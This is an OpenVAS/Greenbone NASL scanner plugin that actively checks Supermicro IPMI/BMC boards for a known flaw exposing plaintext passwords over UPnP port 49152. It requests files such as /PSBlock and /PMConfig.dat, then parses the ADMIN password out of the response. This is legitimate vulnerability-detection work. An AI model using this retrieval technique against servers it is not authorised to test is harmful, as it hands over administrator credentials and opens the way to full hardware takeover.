Supermicro IPMI/BMC Plaintext Password Disclosure Vulnerability (UPnP) - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105049");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2014-06-20 18:08:51 +0200 (Fri, 20 Jun 2014)");
  script_name("Supermicro IPMI/BMC Plaintext Password Disclosure Vulnerability (UPnP) - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("gb_upnp_tcp_detect.nasl");
  script_require_ports("Services/upnp", 49152);
  script_mandatory_keys("upnp/tcp/detected");

  script_xref(name:"URL", value:"https://cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/");
  script_xref(name:"URL", value:"https://cari.net/carisirt-supermicro-credential-exposure-reviewed/");

  script_tag(name:"summary", value:"Supermicro IPMI/BMC devices are prone to a plaintext password
  disclosure vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"BMCs in Supermicro motherboards contain a binary file that
  stores remote login passwords in clear text. This file could be retrieved by requesting /PSBlock
  on port 49152.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to obtain sensitive
  information that may aid in further attacks.");

  script_tag(name:"affected", value:"Motherboards manufactured by Supermicro.");

  script_tag(name:"solution", value:"Ask the vendor for an update.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("dump.inc");

function get_pass( data ) {

  local_var data;
  local_var off, pass;

  if( ! data )
    return FALSE;

  off = stridx( data, "ADMIN" );
  pass = eregmatch( pattern:"^([[:print:]]+)", string:substr( data, off + 5 + 11 ) );

  if( isnull( pass[1] ) )
    return FALSE;

  return pass[1];
}

port = service_get_port( default:49152, ipproto:"tcp", proto:"upnp" );

url = "/IPMIdevicedesc.xml";
buf = http_get_cache( item:url, port:port );

if( ! buf || "supermicro" >!< buf )
  exit( 99 );

urls = make_list( "/PSBlock", "/PSStore", "/PMConfig.dat", "/wsman/simple_auth.passwd" );

foreach url( urls ) {

  req = http_get( item:url, port:port );
  buf = http_send_recv( port:port, data:req, bodyonly:FALSE );
  if( buf && buf =~ "^HTTP/1\.[01] 200" && "ADMIN" >< buf && "octet-stream" >< buf ) {
    if( pass = get_pass( data:buf ) ) {
      report = 'By requesting the url ' + url + ' it was possible to retrieve the password "' + pass + '" for the user "ADMIN"';
      expert_info = 'Request:\n' + req + 'Response (hexdump):\n' + hexdump( ddata:substr( buf, 0, 600 ) ) + "[truncated]";
      security_message( port:port, data:report, expert_info:expert_info );
      exit( 0 );
    }
  }
}

exit( 99 );